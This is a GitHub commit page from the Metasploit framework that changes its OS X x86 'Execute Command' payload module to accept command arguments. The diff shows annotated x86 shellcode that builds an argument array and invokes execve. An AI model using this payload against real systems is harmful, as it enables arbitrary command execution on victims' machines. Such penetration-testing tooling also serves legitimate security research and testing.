Skip to content

Commit a2ea5dd

Browse files
committed
Land rapid7#2119 - Accept args for osx exec payload
2 parents b90e1d5 + b64d042 commit a2ea5dd

File tree

1 file changed

+55
-13
lines changed
  • modules/payloads/singles/osx/x86

1 file changed

+55
-13
lines changed

modules/payloads/singles/osx/x86/exec.rb

Lines changed: 55 additions & 13 deletions
Original file line numberDiff line numberDiff line change
@@ -26,31 +26,73 @@ def initialize(info = {})
2626
super(merge_info(info,
2727
'Name' => 'OS X Execute Command',
2828
'Description' => 'Execute an arbitrary command',
29-
'Author' => [ 'snagg <snagg[at]openssl.it>', 'argp <argp[at]census-labs.com>' ],
29+
'Author' =>
30+
[
31+
'snagg <snagg[at]openssl.it>',
32+
'argp <argp[at]census-labs.com>',
33+
'joev <jvennix[at]rapid7.com>'
34+
],
3035
'License' => BSD_LICENSE,
3136
'Platform' => 'osx',
32-
'Arch' => ARCH_X86))
37+
'Arch' => ARCH_X86
38+
))
3339

34-
# Register exec options
3540
register_options(
3641
[
3742
OptString.new('CMD', [ true, "The command string to execute" ]),
38-
], self.class)
43+
], self.class
44+
)
3945
end
4046

4147
#
4248
# Dynamically builds the exec payload based on the user's options.
4349
#
4450
def generate_stage
45-
cmd = datastore['CMD'] || ''
46-
len = cmd.length + 1
47-
payload =
48-
"\x31\xc0\x50" +
49-
Rex::Arch::X86.call(len) + cmd +
50-
"\x00\x5e\x89\xe7\xb9" + Rex::Arch::X86.pack_word(len) +
51-
"\x00\x00\xfc\xf2\xa4\x89\xe3\x50" +
52-
"\x50\x53\xb0\x3b\x50\xcd\x80"
51+
cmd_str = datastore['CMD'] || ''
52+
# Split the cmd string into arg chunks
53+
cmd_parts = Shellwords.shellsplit(cmd_str)
54+
# the non-exe-path parts of the chunks need to be reversed for execve
55+
cmd_parts = ([cmd_parts.first] + (cmd_parts[1..-1] || []).reverse).compact
56+
arg_str = cmd_parts.map { |a| "#{a}\x00" }.join
5357

54-
end
58+
payload = ''
59+
60+
# Stuff an array of arg strings into memory
61+
payload << "\x31\xc0" # xor eax, eax (eax => 0)
62+
payload << Rex::Arch::X86.call(arg_str.length) # jmp over CMD_STR, stores &CMD_STR on stack
63+
payload << arg_str
64+
payload << "\x5B" # pop ebx (ebx => &CMD_STR)
65+
66+
# now EBX contains &cmd_parts[0], the exe path
67+
if cmd_parts.length > 1
68+
# Build an array of pointers to arguments
69+
payload << "\x89\xD9" # mov ecx, ebx
70+
payload << "\x50" # push eax; null byte (end of array)
71+
payload << "\x89\xe2" # mov edx, esp (EDX points to the end-of-array null byte)
72+
73+
cmd_parts[1..-1].each_with_index do |arg, idx|
74+
l = [cmd_parts[idx].length+1].pack('V')
75+
# can probably save space here by doing the loop in ASM
76+
# for each arg, push its current memory location on to the stack
77+
payload << "\x81\xC1" # add ecx, ...
78+
payload << l # (cmd_parts[idx] is the prev arg)
79+
payload << "\x51" # push ecx (&cmd_parts[idx])
80+
end
5581

82+
payload << "\x53" # push ebx (&cmd_parts[0])
83+
payload << "\x89\xe1" # mov ecx, esp (ptr to ptr to first str)
84+
payload << "\x52" # push edx
85+
payload << "\x51" # push ecx
86+
else
87+
# pass NULL args array to execve() call
88+
payload << "\x50\x50" # push eax, push eax
89+
end
90+
91+
payload << "\x53" # push ebx
92+
payload << "\xb0\x3b" # mov al, 0x3b (execve)
93+
payload << "\x50" # push eax
94+
payload << "\xcd\x80" # int 0x80 (triggers execve syscall)
95+
96+
payload
97+
end
5698
end

0 commit comments

Comments
 (0)